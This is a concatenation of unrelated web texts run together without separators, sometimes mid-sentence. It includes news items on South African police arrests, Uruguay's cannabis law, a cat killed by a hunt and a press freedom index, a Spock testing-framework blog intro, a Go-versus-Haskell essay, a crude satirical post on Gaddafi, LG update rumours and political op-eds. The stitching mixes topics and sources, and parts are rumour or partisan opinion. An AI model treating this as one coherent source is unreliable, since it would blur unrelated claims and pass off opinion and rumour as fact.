And yet for many users, the S 4's forked interface will be the only flavor of Android they know. Google must be so pleased.Johannesburg – Ten police officers and eight home affairs officials were arrested in the Free State on Wednesday morning for allegedly extorting money from foreigners, the South African Police Service said.
This comes as SAPS revealed that 706 police officials had been arrested for criminal activity in the 2016/17 financial year, compared to 725 in 2015/16.
In a statement, acting national police commissioner Lieutenant-General Khomotso Phahlane's spokesperson, Athlenda Mathe, said the officials threatened Lesotho nationals who did not have the correct documentation.
In some instances, they assisted these nationals to cross the border without the correct documentation required, Mathe said.
A joint operation with the Hawks, at the Ficksburg port of entry into Lesotho and SA, led to their arrests.
"During the duration of the investigation, officials were observed and it then became evident that our own were implicated," she said.
Phahlane welcomed the arrests.
"The arrest of our own is both disheartening and pleasing at the same time because this gives us an opportunity to identify the corrupt elements within the system," he said.
"Other members should draw lessons from this, and this should serve as a deterrence within our organisation to those officials who may be involved in corrupt-related activities."This article is about the testing framework. For the Star Trek character, see https://en.wikipedia.org/wiki/Spock.
For other uses, see https://en.wikipedia.org/wiki/Spock_(disambiguation).
If you are anything like me, you might be thinking something along the lines of: “Yet another testing framework. Why would I want to migrate?” I do not consider myself an early adopter and am usually quite happy to stick to the tools that have proven themselves useful and reliable. Especially, if there is no pain. Or at least I am not aware that there might be any.
A few years ago though, when I was working on a Grails application, I came across Spock and picked it up immediately. The switch was remarkably easy and felt very rewarding to me, especially in hindsight. I might not have felt the pain before, but I definitely did, when – on a new project – I had to switch back. To be fair, at the same time I switched back from Groovy to Java (< 8), which made it probably harder, because writing Java code in general felt somewhat verbose at the time.
So, what do I like about Spock?
What I probably like the most is how concise and expressive the code is, making it both quick to write and easy to read. Spock achieves this by providing a simple yet powerful DSL, which includes built-in mocking, and, of course, the full “Groovy magic”.
A small, but in my opinion noticeable perk is that you can use Strings as method names for your tests. Thus you can use plain English (including punctuation) to describe them, which will then also be shown in your test runner.
When it comes to expectations and matching, Spock allows you to be as precise or unspecific as you like. Using closures you can create the most sophisticated matchers on the fly. Or you can choose just not to care what parameter, or method, or even mock. This results in test code that is more resilient to changes that do not directly affect it. A special case of this is to explicitly expect “nothing”, e.g. no calls on a mock at all. This is a one-liner in Spock ( 0 * mock._ ), completely oblivious of what methods there actually are and hence completely unaffected by any refactorings to the mock’s class.
Verifying order is done by simply putting the expected calls in consecutive blocks of Spock’s DSL rather than creating the mocks differently. Again, you can be as precise or imprecise as you like. In fact, you can even specify by what call on your unit under test the mock call should be triggered. For example, if you call the same method on the unit twice, you can ensure that the mock is called the first time, but not the second.
Spock is conceptually based on tried and tested frameworks like JUnit, jMock, and Mockito, amongst others. This makes it, in my opinion, very easy to learn, if you already have experience with those. Spock does not reinvent the wheel, but it does make it much more comfortable – you might say, they invented the tire. 🙂
On the “outside” Spock tests, called specifications, look and behave like JUnit tests. Thus you will have the tool support, which comes with that and which most of you are probably used to. You can even run Spock tests in the same suite as your regular JUnit tests, making it very easy not only to migrate using the Boy Scout Rule, but also to experiment. Because it coexists quite peacefully and there is no big setup required, you can easily try Spock on your real application and get a hands-on experience, including all those product-specific real-life scenarios that are never covered by tutorials.
These are just a few things from the top of my head. They are meant to give you a few teasers to kick off what is intended to be a series of posts. Spock has more perks and features, of course. You can check them out on the official website: https://spockframework.org. The purpose of this series, however, is to show you, by example, how it feels to use Spock. In the posts to come there will be examples of using a certain feature and others on how to test a specific problem. I have not made up my mind yet how to pick these examples exactly. Probably I’ll just start right in the middle. After all, that’s where the fun is. What do you think? If you have any requests or proposals, what kind of example you would like to see, feel free to leave a comment anytime.
So much for now, hope to see you again next time. 🙂Wu-Tang Clan will soon release Once Upon a Time in Shaolin, a secretly recorded album that won't be made commercially available. Instead, it'll be manufactured as a single copy and tour through museums and galleries before being sold to the highest bidder. RZA claims that they've already received a $5 million bid. Now, two Wu-Tang fans named Russell Meyer and Calvin Okoth-Obbo are trying to raise the money via Kickstarter to purchase the album and share it with other Wu-Tang fans.
"I can’t imagine RZA being upset if enough Wu-Tang fans get together and raise enough money to purchase [the album]," Meyer said in an interview with DNAinfo New York. "We don’t want some guy in Dubai who literally has money to burn to buy it as a collector item that only six people will get to listen to."
Their plan is to raise the funds, then distribute it digitally should they emerge as the high bidder. What would happen to the physical copy is still up in the air. "We could rock-paper-scissors to see who gets to hold it," Okoth-Obbo said. "Or we could do a vote or raffle of all backers to see who keeps it. It’s not about ownership, it’s about getting it out there. We’d rather just get the musical content and be able to share that with the people who want to be able to appreciate it."
As Kickstarters go, this one is fairly decentralized. There's only a single rewards tier entitling the backer to a digital copy of the album, which is reached with the donation of a dollar.
The "Risks and challenges" section of the Kickstarter reads:
The risk is some Saudi oil baron's kid spending his dad's money to collect a trophy and then he'll keep the album to himself and fans the world over will suffer. If for some reason we are unable to purchase the album to distribute it to all fans or we are outbid, there will be a vote to either refund all money to backers or use the money to fund a Wu Tang related project such as a free concert for backers. The founder of this group will not profit by even a single penny of backers' contributions, nor will a cent be spent until the auction date when the entirety of funds raised will be bid in an attempt to win the album.
It's a noble, if difficult goal: As of press time, they'd raised $52 out of $5 million. Still, there's 52 days to go.
Watch the video for "C.R.E.A.M.":Entertainment Weekly caught up with J.K. Simmons to talk about all of his upcoming movies, so Justice League was brought up as well. Simmons said he’s hoping to bring out Commissioner Gordon’s badass side.
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“People of my generation remember Commissioner Gordon as this jolly, ineffectual Santa Claus type, and I think over the years in the comics there’s definitely much more of a badass side to him,” Simmons explains. “One of the things that’s interesting to me is investigating hopefully a little bit more of that badass [side]…You’re living in a universe where it’s pretty tough to be a badass compared to somebody like Batman, but in the universe of non-superheroes I like the idea of Commissioner Gordon as a guy that can take care of himself, a guy that’s a real partner to Batman, not just a guy that turns on the bat signal and goes, ‘Help! Help, Batman!’”
Simmons, who already filmed a bit in London last month, has one more trip to London to finish the rest of his scenes. He told EW that it’s been a fun experience so far, and that he hopes he gets to play Gordon in a handful of movies.
An easy way to show Gordon’s badass side? Just have him take off his shirt!
SOURCE: Entertainment WeeklyImage caption Lisa Smith's cat Sophie was killed by foxhounds on Saturday afternoon
A Kircubbin woman has called for the hunting laws in Northern Ireland to be changed after her cat was killed by dogs from the North Down hunt.
Lisa Smith's cat Sophie was torn apart by about 10 dogs that came into her back garden on Saturday afternoon.
The dogs had been hunting a fox when they left the field and entered Ms Smith's garden.
The North Down hunt has apologised to her for the "terrible accident".
Fox hunting is banned in the rest of the UK but is still legal in Northern Ireland.
Ms Smith owns seven cats and the others, apart from Sophie, escaped the foxhounds.
"There was about 10 dogs in my garden with more dogs really, really, struggling to break their way through the fence," she told Talkback.
"I was shouting and screaming and clapping my hands trying to get them to go away.
"Poor little Sophie was in her cat house and she popped her head out the cat flap. One of the foxhounds dragged her out of her house.
"I am not going to go into any graphic detail but I am quite sure everybody can imagine what happened next when a pack of 10 to 15 dogs, that have been trained to kill, got a hold of her.
"I wasn't physically hurt but the fact is these dogs killed a cat on my private property and that poor animal must have suffered horribly."
Law change
For that reason Ms Smith wants to see a change to the hunting law in Northern Ireland.
"I do feel that the animal welfare laws in Northern Ireland are flimsy and weak," she said.
"I know they have recently been revised but I still feel there is a way to go.
"I have never been a supporter of any sport or activity where people or animals get hurt. Why they have to breed and hunt innocent animals - whether they be foxes, a cat or whatever - it's barbaric."
In a statement, a spokesman for the North Down hunt apologised for a "terrible accident".
"Unfortunately there was some gorse and the dogs that are normally very disciplined went 'under cover'.
"It was all over very quickly. We are sorry and apologise profusely.
"Our hunt did not go out and intentionally kill that day. We are not a blood-thirsty bunch.
"There is a big mix of society who hunt in our club and we are very sorry"
Lyall Plant, the chief executive of the Countryside Alliance, also apologised to Ms Smith.
"The hunt tried in vain to call the hounds off and it took them a few minutes to get them back under control.
"It's a very, very sad incident and I know the hunt are just as much choked about this as anybody else.
"They have never had any incident like this in the history of the North Down hunt."
The incident has been reported to the PSNI. In a statement they said that the dog warden had been informed and enquiries were continuing.Occasionally I overhear (or get sucked into) an argument that goes like this:
“Go is the best language for writing servers because X.” “No, you neanderthal, Haskell is, because Y.” “Well I’ve never needed Y! And Haskell is too out of touch with real problems.” “But how can you tolerate such a limited and poorly-designed tool?” “Well, I like to use it and I get stuff done, so what do you care?”
Rarely do these types of discussions change anyone’s mind. :)
People will argue all day long in a vacuum about what languages is best, but languages are tools and proper evaluation of a tool must be tied to a concrete context. Thus, the subject at hand: there are two types of servers. Specialized single-purpose servers differ from general business application servers.
Single-Purpose Infrastructure
Single-purpose infrastructure, like databases, request proxies, and messaging systems emphasize latency, throughput, reliability, and efficient use of hardware. Some examples are Redis, MySQL query proxies, and nginx. The choice of programming language matters to the extent that it facilitates the performance and reliability goals of the infrastructure. For these types of servers, Go is actually a great language. With Go, you get performance comparable to the JVM, a bunch of high-quality libraries, and the ability to plop your static binary onto any machine or container.
I’ll share an example from IMVU. IMVU’s primary content delivery system for all user-generated content, including 3D assets and user photos, was served by a pool of Perlbal proxies. This pool of machines served some of the highest traffic for the whole business, but the performance was not good and the code inside Perlbal was hard to maintain. Normally we wouldn’t have cared about the code except that we had discovered some race conditions in Perlbal. One of my coworkers finally got fed up and, within a couple weeks, replaced this entire part of our system with a replacement written in Go. Two machines (hooked up to 10g switches of course) running the Go implementation could serve all of the traffic previously allocated to the entire Perlbal pool. (We ended up running more instances for redundancy, however.) Not only was the new code faster, it was dramatically more maintainable. This was a big success story for Go.
Special-purpose servers usually have only a few skilled authors, clear goals, and eventually reach a point where they’re “done” and further maintenance is increasingly rare. (Though they might eventually be replaced with new infrastructure.)
Application Servers
On the other hand, every company has that server codebase with all the logic that makes the business go. You know the one. Where the code dates back to the founding of the company, and the programming language is whatever the founders liked at the time. :) It’s had hundreds of contributors from many backgrounds. Perhaps the original authors are no longer with the company. The needs of the code have evolved over time with the business, and after about four or five years it’s a person’s or team’s full-time job to manage large-scale refactoring.
I call these application servers, but I’ve heard the term “frontend server” used before too. Performance is a concern, but straight-line code execution is often less of an issue than efficient IO to the backend services.
Application servers are where the features live, and therefore they evolve with the needs of the business. The ability to define safe abstractions and refactor the code is more important than with special-purpose servers. Programming safety is also critical. You wouldn’t want somebody’s hack week feature to turn into a buffer overflow, runtime exception, corrupt data, or security vulnerability. Thus, type systems (or at least runtime invariant enforcement in languages like Python or PHP) are critical in application servers.
Go does not make a good language for application servers. The lack of immutable data makes it really awkward to enforce invariants. The lack of generics makes it awkward to express IO unless you generate code for each entity type in your database. Complicated arrangements of goroutines and channels are necessary to parallelize backend IO. Data structure traversals must be manually spelled out every time. Haskell, on the other hand is brilliant for application servers (assuming your team is comfortable with the learning curve). Libraries like Haxl allow specification of business rules in natural imperative style, while automatically extracting IO parallelism from the structure of the code. In Go, timeouts must be implemented manually every time, whereas in Haskell there is a single, always-correct timeout function. Go also doesn’t have anything like Haskell’s mapConcurrently, and while it can be done manually, it’s tricky to remain correct in the presence of unhandled errors. (In a high-reliability system, you probably want to transfer a runtime error like division by zero or null pointer dereference to your request handler’s error handler so it can be logged appropriately, rather than shutting down your whole server.) With Haskell, you can enforce 100% reliable unit tests or that transactions are never nested.
Even pre-generics Java was better than Go at defining invariants – with final, you could feel confident that a value is never changed after it’s initialized. This entire post by Dave Cheney could have been replaced with one sentence: “Too bad Go doesn’t support constant values in general.”
I’m not saying Go can’t be made to work for application servers, nor am I saying Haskell is necessarily the answer. Haskell has relatively poor usability characteristics, and I may write more about that later. But when you are trying to pick a language for a server, make sure you understand how it’s likely to evolve over time. A small group of people solving a focused problem is a completely different beast from hundreds of people hacking on business logic across years, so choose your language appropriately. :)The change to Uruguay’s legislation, which will come “within a matter of weeks” according to government sources, will legalise the drug for adult use in the South American country.
The bill must now be approved by the Senate before it becomes law, a near certainty given President Jose Mujica’s majority, despite opposition claims that government is “playing with fire”.
Under the new legislation, an existing legal contradiction will be eliminated, in which the consumption of cannabis in Uruguay is legal, but the purchase, sale and cultivation of the plant is illegal.
The legalisation of marijuana is aimed at “improving public health and safety” according to Hannah Hetzer, who works for the Drug Policy Alliance in Montevideo.
Uruguay aims to put an end to street-level drug dealing, which it believes funds more serious criminal as a result of the gangs which control its distribution.
“Stripping the gangs of their power and influence by removing a major source of income can only have positive effects”, said Niall Franklin, the executive director of Law Enforcement Against Prohibition (LEAP), a worldwide organisation of police officers who support the legalisation of marijuana.
“Marijuana accounts for 60 per cent of all the money made from the illicit sale of drugs worldwide”, he told The Daily Telegraph. “So removing billions of dollars from criminal enterprise is essential”.
Others in Uruguay’s government are less supportive of the new law. Gerardo Amarilla, a National Party deputy said that the government was “underestimating the dangers” of what he described as a “gateway drug”.
“98 per cent of the people that are killing themselves with cocaine today started on marijuana”, he said after the bill was passed. “We are playing with fire”.
Once legalised, Uruguayan cannabis consumers will have to be over 18 years old and obtain a licence through registration with the government in order to purchase the drug.
Uruguay’s progressive new law will garner great international attention, particularly in Latin America, as other governments closely observe how the new approach to the ‘War on Drugs’ develops.
The presidents of Colombia and Guatemala are among other leaders in the region to have publicly advocated for a new approach to be found. Vicente Fox, a former president of Mexico, where an estimated 10,000 lives have been wasted in what is literally a war on the illegal trade, have said it is time for change.
In May, the US state of Colorado became the first to have a legally regulated market for cannabis, despite the drug’s continuing illegality under federal law. Some 19 US states have decriminalised the possession of cannabis, while nine have legalised the drug for medical use.
Possession of cannabis in Britain carries a penalty of up to five years in prison and an unlimited fine, whilst supply or production of the Class B drug carries a sentence of up to 14 years in prison.
Possession of cannabis (and all other drugs) has been decriminalised in Portugal since 2001. In the ten years since this change, the country has seen the rates for both HIV infection and drug-related deaths halve, as well as a doubling of entrants into state-funded rehabilitation.
Rowan Bosworth-Davies, chair of LEAP UK, said: "Uruguay’s policy will be successful - it’s an idea whose time has come.
"In Britain we want to see policy based on evidence led by properly qualified professionals.
"From our perspective as professional police officers, the war on drugs has been a complete failure, that has wasted a huge amount time and resources.
"International organised crime is completely in charge of the illicit drugs industry."The Colonel is dead. No, not the chicken guy, but rather that crazy cat of Tripoli, the “King of Kings of Africa”, I am of course referring to Colonel Muammar Gaddafi. Coming to power at the age of 27 and ruling for 42 years straight, he was a dictator amongst dictators. A cashew in a can of peanuts. His brutality was matched only by his mercurial personality and his menagerie of eccentricities that left the West perplexed.
Gaddafi: the terrorist
Throughout the 1980s, Gaddafi sponsored every anti-West terrorist group that could buy a Pan-Am ticket to Tripoli. Gaddafi’s Venture Terrorist credentials make Khomeini look like a bitch (please, no Fatwahs on me), as Gaddafi sponsored the Irish Republican Army, the Red Army Faction, ordered the bombing of a Berlin disco (targeting American servicemen), and then took down Pan-Am 103 in retaliation for Reagan’s bombing of Tripoli (which itself was a retaliation for the Berlin bombing).
Reagan called him a “mad dog”, and rightly so, the Gaddafi of the 80s was like Tyson of the 90s.
Gaddafi: the lover of black women
Homie didn’t play. He was crazy as a coconut, and thats even after you minus out the whole ‘godfather of terrorism’ thing.
Did you know in 1998 Gaddafi issued an edict to his people instructing them to marry blackwomen so that Libya would eventually become a black country? ( I don’t think anybody in his entourage had the balls to tell him he was brown). This also explains his clothing choices, which made him look more like Winnie Mandela than a Arab revolutionary. Most bizzarre was his well-known crush on Condoleezza Rice and the scrapbook he kept of her.
Gaddafi: the philosopher
Beyond being a terrorist mastermind, Gaddafi was also a philosopher. He would disappear into the desert and live in a tent while contemplating the meaning of being a Pan-African dictator. Chairman Mao might have had the “Little Red Book”, but Gaddafi produced the “Green Book”(it rocketed to #1 on the Libyan best-seller list…surprise, surprise). Needless to say, The Green Book was required
reading in every Libyan classroom.
Gaddafi: the man with 112 names
Even more puzzling is the spelling of his name. I have never seen such disagreement amongst the press as to the spelling of one person’s name. Depending on which newspaper you read, you could find his name spelled:
“Muammar el-Qaddafi” – New York Times
“Muammar Gaddafi” – BBC
“Moammar Gadhafi” – CNN
“Moammar Kadafi” – LA Times
In fact, an ABC article listed 112 accepted variations of Gaddafi’s name.
Gaddafi: the mellow, middle-aged dictator
After the Pan-Am bombing, Gaddafi briefly became pariah #1 for the West. That is until Saddam Hussein, Slobodan Milosevic and Osama Bin Laden appeared on the global stage and shunted the Colonel to the 3rd line. While the world went to shit, Gaddafi seemed to mellow with age. In 1998, Gaddafi issued the first arrest warrants for Osama Bin Laden after two British intelligence agents were killed in Tripoli by an Al-Qeda affiliate. In 2004 he agreed to give up his chemical weapons programs and open up his country to UN inspections. In 2003 he finally agreed to paying $2 billion in reparations for the PanAm bombing.
Mellow? Perhaps. Crazy? Always. In 2009, Gaddafi was invited to speak for 15 minutes at the UN General Assembly, he went on for 1.5 hours. During the course of his speech he literally tore up the UN Charter, professed his undying admiration for President Obama, and ended it off by saying the UN should be moved to Europe so that delegates don’t arrive all jet-lagged.
“There is no state with a democracy except Libya on the whole planet.”
– Colonel Gaddafi, Columbia University in 2003
But don’t call him a dictator, call him “Colonel”. I always wondered why he kept the title of “Colonel” when by all measures he was very much a King. Ok, maybe King is too imperial sounding, I get it, so why not General? Field Marshal? Generalissimo? Comrade? Or how about taking a page from his kindred spirit Idi Amin, “the uncrowned King of Scotland”?
Gaddafi: the tweeter
In a way, Gaddafi reminds me of Charlie Sheen. Equally crazy, yet equally resolute in their own sanity, I am surprised Gaddafi didn’t start tweeting during the Libyan revolution (how about @theColonel as a handle?). Given the encyclopedia of published Gaddafisms, he’d make Charlie Sheen (@charliesheen) sound as interesting as Henry Blodget (@hblodget)
He might even have given @omgbobbyg a run for his money
I find the idea of a dictator like Gaddafi tweeting while being bombed quite interesting. Imagine the connundrum that would emerge if Gaddafi started tweeting shit like “hey @Obama: you missed me, bitch!” and in turn become a pop culture icon from his looney tweets? How would we reconcile the dichotomy of our politicians claiming he is a mortal enemy while at the same time our capitalism seeks to exploit him? Now that’s what I call a social experiment for the ages. Of all the dictators who could have done it, Gaddafi was crazy and bombastic enough to do it.
It’s to bad he chose oppression, brutality and murder over tweeting. Ah well, one of these days some dictator is going to get it right. Kim Jong-un, here’s looking at you kid.In December, the state will start accepting applications for medical marijuana shops to get licenses. But meanwhile, there’s a dispute over how to deal with the dispensaries that are already open.
At a meeting today, the state’s medical marijuana licensing board considered whether dispensaries should have to close their doors before they can get a license. At least two board members want dispensaries that are already open to close next month – or risk being denied a license.
Board Member Donald Bailey initially wanted to give dispensaries until after Labor Day, but agreed to mid-September when suggested by another member.
“For those that are getting into the business or anticipate getting into the business, it’s a matter of fundamental fairness that everybody starts the race on the start line and nobody has a 40-yard advance,” Bailey said.
Patients, like Mark Gibson, said this will hurt their ability to get medication they need.
“It’s not right to ask someone who’s been a medical patient for years to all of a sudden complicate their lives so much that they may not be able to get effective treatment,” he said.
At least one other board member agreed with Bailey. Chairman Rick Johnson said he wants to do what is best for patients, but these dispensaries should close.
“If we don’t do this today we’re going to do this somewhere in the future,” he said. “Because it needs to be done.”
The board will meet again before making a decision. It asked the Department of Licensing and Regulatory Affairs to give them more information about how the plan could affect patients.It seems that the LG G2, LG G3 and LG G4 devices will not receive the Android 5.1.1 Lollipop update, as some new rumors suggest that these devices will skip the latest Android Lollipop version and will jump directly to the upcoming Android M.
So, if you are an owner of a LG G2, LG3 or a LG G4 smartphone, you will still need to wait a few months until the device will receive the next Android OS update. We remind you that LG has also skipped Android updates in the past such as the Android KitKat 4.4.4.
The LG G4 is the latest smartphone from the G series and it comes with the Android 5.1 Lollipop out of the box.
Unfortunately, as we’ve told you above, this device will most likely not receive the Android 5.1.1 Lollipop update, which we’re pretty sure that it will disappoint a lot of people. The Android 5.1.1 Lollipop comes with a lot of bug fixes and enhanced functionality.
Unfortunately, there are some rumors which say that the LG G2 smartphone will certainly not even receive the Android M version. The Android M version is already available for the developers as a preview version and it will most likely get released sometime in October 2015. However, not all LG devices will receive the new update and the ones that will be “lucky” enough to receive it will get it a few months later after the new OS will be released.
With other words, the Android M will be rolling out for the LG G4 sometime in late 2015 or early 2016, while the LG G3 will most likely have to wait a bit more.
Do you think that the Android M will be released for LG G2? When do you think that the Android M update will be available for the LG G3 and LG G4?
Take your mobile photography game to the next level with this affordable clip-on lens kit from Xenvo. Comes with a macro lens and a super wide angle lens that easily clip onto your phone for professional-grade photos on the go.Telecommuting hopefuls spend a good chunk of their time seeking out remote jobs. Because so many people are looking to work from home, businesses that hire remote workers can receive a ton of applications. The competition is fierce and it can be frustrating for those who are serious about finding a decent job.
Something that might help is to keep a list of places that hire remote workers handy. If the job boards aren’t turning up any new leads, referring back to your list might show new openings for remote jobs that haven’t yet hit the job boards or listing sites. I’m sharing some of my tried and true, go-to, work from home companies with you today so you have a list to refer to when you need it.
Don’t forget to check out Telecommunity’s FREE remote job board for daily remote jobs listings.
360 Places that are ALWAYS Hiring for Remote Jobs
As of today, most of the places on the list are hiring. Check back often as new jobs are always being added.
Still looking? Telecommunity’s remote job board has FREE daily leads for jobs that are open to remote applicants.Spread the love
France-based Reporters Without Borders (Reporters Sans Frontières, or RSF) released its 2016 World Press Freedom Index on Wednesday, and the news is grim. All parts of the world have seen a decline in press freedom, leading to fears of a “new era of propaganda.”
“The 2016 edition of the World Press Freedom Index…shows that there has been a deep and disturbing decline in respect for media freedom at both the global and regional levels. Ever since the 2013 index, Reporters Without Borders has been calculating indicators of the overall level of media freedom violations in each of the world’s regions and worldwide. The higher the figure, the worse the situation. The global indicator has gone from 3719 points last year to 3857 points this year, a 3.71% deterioration. The decline since 2013 is 13.6%.”
Physical threats to journalists, increasingly authoritarian governments, threats from religious ideologies, tighter control of state-owned media and lack of security in war-torn countries are all contributing to the downward spiral.
Latin America, whose ranking plunged 20.5%, is of particular concern. Journalists are attacked and murdered in Mexico and central America, while corruption in Brazil and media concentration in Argentina are also factors.
Repressive governments, including U.S. allies in the Middle East and communist China, suspend access to the internet or even destroy media premises or equipment. Oligarchs are buying up media outlets to exert pressure along with their allies in government.
Around the world, laws are being adopted to criminalize journalists for things such as “insulting the president,” “blasphemy” or “supporting terrorism.”
Christophe Deloire, secretary general of RSF, spoke to Agence France Presse about the situation.
“All of the indicators show a deterioration. Numerous authorities are trying to regain control of their countries, fearing overly open public debate. Today, it is increasingly easy for powers to appeal directly to the public through new technologies, and so there is a greater degree of violence against those who represent independent information. We are entering a new era of propaganda where new technologies allow the low-cost dissemination of [governments’] own communication, their information, as dictated. On the other side, journalists are the ones who get in the way.”
The Middle East/North Africa region is still home to the worst repression against journalism, with China and North Korea joining those countries at the bottom of the index. Finland, the Netherlands and Norway top the list of countries with the most press freedom.
The U.S.—which often touts itself as “leader of the free world” and routinely chastises other countries for human rights abuses while its own abuses go unchecked—ranks 41st in the Press Freedom Index. Although it is an improvement from 49th place, significant threats remain. Unsurprisingly, these threats are carried out under the guise of “national security.”
“US media freedom, enshrined in the First Amendment to the 1787 constitution, has encountered a major obstacle – the government’s war on whistleblowers who leak information about its surveillance activities, spying and foreign operations, especially those linked to counter-terrorism. Furthermore, US journalists are still not protected by a federal “shield law” guaranteeing their right not to reveal their sources and other confidential work-related information.”
The Obama administration has been instrumental in silencing those who expose government wrongdoing by prosecuting “more whistleblowers under the Espionage Act than all previous administrations combined.”
It’s not only whistleblowers who are under the threat of state violence for their words. In June of last year, the DoD released its 1,180 page Law of War Manual which outlines provisions for military commanders to violate the rights of journalists who they disagree with in vaguely written legal speak.
According to the Associated Press:
The Law of War manual, updated to apply for the first time to all branches of the military, contains a vaguely worded provision that military commanders could interpret broadly, experts in military law and journalism say. Commanders could ask journalists to leave military bases or detain journalists for any number of perceived offenses. “In general, journalists are civilians,” the 1,180 page manual says, but it adds that “journalists may be members of the armed forces, persons authorized to accompany the armed forces, or unprivileged belligerents.” A person deemed “unprivileged belligerent” is not entitled to the rights afforded by the Geneva Convention so a commander could restrict from certain coverage areas or even hold indefinitely without charges any reporter considered an “unprivileged belligerent.”
The manual allows for the stripping of due process, and reporters who are deemed “belligerent” could be carted off to Gitmo and never heard from again.
The manual states that they are not ruling out torturing journalists either. According to the manual:
“Reporting on military operations can be very similar to collecting intelligence or even spying. A journalist who acts as a spy may be subject to security measures and punished if captured.”
The 2016 presidential election is also demonstrating the shortcomings of American press freedom. Candidates from both political parties have regularly restricted journalist access to campaign events, as they con voters into believing they will work for the people and not the Washington establishment.
In addition to this authoritarian threat to journalism, the U.S. has a particular problem with television-based outlets that profess to be purveyors of news but are more accurately called infotainment. Fox News and CNN are examples of this farcical notion of “news” that misinforms so many Americans, distracting the populace from real issues and acting as Praetorian Guard for government.
“The climate of fear results in a growing aversion to debate and pluralism, a clampdown on the media by ever more authoritarian and oppressive governments, and reporting in the privately-owned media that is increasingly shaped by personal interests. Journalism worthy of the name must be defended against the increase in propaganda and media content that is made to order or sponsored by vested interests. Guaranteeing the public’s right to independent and reliable news and information is essential if humankind’s problems, both local and global, are to be solved. — RSF secretary-general Christophe Deloire”
True journalism has always been heralded as a check on government power and abuse. In the age of instant information transfer, independent media represent a force like never before to counter authoritarianism. We must take seriously the RSF report and strengthen the fight to retain press freedom.A file photo dated 18 March 2013 showing five persons being led by Indian policemen after being arrested in connection with the gang rape of a female Swiss tourist, on their way to being produced before the court in Datia town, Madhya |
that requires use of the bathrooms in public facilities comporting with one’s birth-certificate gender, and also preempts local ordinances designed to protect transgender rights. The legislation was deadlocked at the end of Texas’s regular legislative session in May, but it’s popped back up in a special session called by Governor Gregg Abbott to deal with an assortment of issues — including resolution of the impasse over the “bathroom bill.”
Abbott stayed largely in the background during the Straus-Patrick battle of the bathroom bills. But his political interests may be what’s keeping Patrick’s side of the argument alive despite the obvious risk to Texas’s image and business interests. According to John Daniel Davidson, writing for National Review, what’s really going on is that Abbott is worried about a nascent 2018 Patrick primary challenge:
The 20 items on Abbott’s list for the special session represent policy changes that reform-minded conservatives wanted to see happen in the regular session but didn’t get because there was no leadership from Abbott and Patrick’s bathroom bill sucked all the air out of the room….
Abbott told a conservative policy forum last week he would publicize a list of state lawmakers who support and oppose his agenda. It was meant to be a show of strength, but it belied weakness: Abbott’s threat was directed at Straus’s moderate Republicans, who he fears will not deliver on Patrick’s bathroom bill. That would in turn stall Abbott’s other reforms and leave no doubt about who’s really in charge of Texas: Patrick.
So, Abbott wants to get credit for passing a bathroom bill along with other conservative legislation, and he may not get the latter without the former. If that means risking national ridicule and maybe a round of convention, sports, and other boycotts — well, that’s just the price to be paid for “conservative leadership” these days, it seems.
The editors of the Raleigh News & Observer offered this sardonic comment:
In this age of Republicans driven by the hard-right, or whatever it is, ideology of the “base” that elected Donald Trump, the Texas debate proves that anything (crazy) is absolutely possible. What’s astonishing is that Texas lawmakers had a perfectly clear view of the economic catastrophe that came to North Carolina after HB2 — tens of millions of dollars lost, including $100 million economic impact for Charlotte with loss of the NBA All-Star Game, and thousands of jobs gone, with companies deciding against establishing offices or expanding the ones they had.
It’s as if, pardon the Texas-sized metaphor, Texas lawmakers stood and watched North Carolina Republicans run full-face forward into a cactus, and then turned to one another and said, “Hey, that looks like fun.”
For Gregg Abbott, it might indeed be more “fun” than an expensive and perilous 2018 primary challenge. As the final collision involving the Texas “bathroom bill” approaches, Abbott is looking strictly to his right.Police said Tuesday that workplace harassment may have been a contributing factor in the suicide of a 44-year-old police officer who shot himself in the head inside a toilet at a police station in Tokyo's Ota Ward on Feb 15.
Investigators were quoted as saying that the officer suffered harassment at the hands of the station's 52 year-old assistant inspector, TV Asahi reported.
According to police, before the incident, the assistant inspector had called in a few of the station's officers to complain about poor results following police questioning of suspects. The inspector is said to have yelled "You all are worthless! I suggest you talk to your families about what you plan on doing to support them," implying that they would be fired if their work didn't improve.
The deceased officer left a note detailing his stress.
Police said the department has reprimanded the assistant inspector and cut his salary as punishment for his actions.
© (c) 2014 AFPTony Blair cuts a pitiable figure as he denies the self-evident connection between his violent occupation of Iraq and the barbarism being unleashed today. One of the great myths about the "moral imperialism" that Blair represents is that it consists of a simplistic, messianic faith in democracy. In this light, it is a problem of naive utopianism. This myth allows some of the critics of his war to get away with some extraordinary casuistry. As Isis racks up military successes in Iraq, the liberal newscaster Jon Snow argued, in head-shaking, tragedian vein: "History tells us repeatedly that extreme, violent, neofascist, religiously fuelled fanaticism has only ever been contained by secular tyrants. Decapitate the tyrant and the things fall apart – as in Iraq, as in Libya."
To parse this statement briefly, it is significant that Snow doesn't say what he evidently means, which is that this wisdom applies only "over there". The implied conceit is that secular dictatorship, while beneath "us", is good enough for "them". They – Arabs, Muslims – are so prone to "fanaticism" that labouring under a relatively enlightened elite is the best they can hope for.
The stakes in these discussions are extremely high. Obama has just sent 275 US troops back to Iraq, and it seems there may be an alliance with Iran in order to smash Isis. If Snow is right, presumably the only decent thing the US could do is help a new despot to power.
Ironically, though, he is far closer to Blair and his co-thinkers than he knows. For it was Blair who, when the dictator Mubarak was first threatened by Egypt's revolution, described the threatened despot as "immensely courageous and a force for good". It was he who, as the democratic crowds surged in Tahrir Square, warned that Egypt was characteristic of a problem in the Middle East where an "elite... has an open-minded attitude" whereas "popular opinion" entertains "the wrong idea and a closed idea". He argued against aligning with the revolution, saying: "The danger is if you open up a vacuum, anything can happen." Blair's other favoured enlightened dictatorships included Colonel Gaddafi and the Saudi regime. About the latter he said, when challenged about its penchant for beheadings and limb amputations: "They have their culture, their way of life."
Blair is only the most strident advocate of this perspective. The US vice-president, Joe Biden, rallied to Mubarak's defence when his rule was threatened, denied that he was a dictator, and stressed that he was "an ally of ours". And the list of those who cosied up to Gaddafi is long. This is merely to scratch the surface of such complicity, which evinces not democratic messianism, but cultural condescension of the sort that has always characterised both liberal internationalism and the neoconservatism with which it shares a vocabulary. Blair and his ilk are not democrats, but liberals. For the people of the Middle East, they only favour democracy if it can help legitimise liberal capitalist regimes. But, like Friedrich Hayek when asked about his support for Pinochet, they prefer a dictatorship to a democracy lacking liberalism.
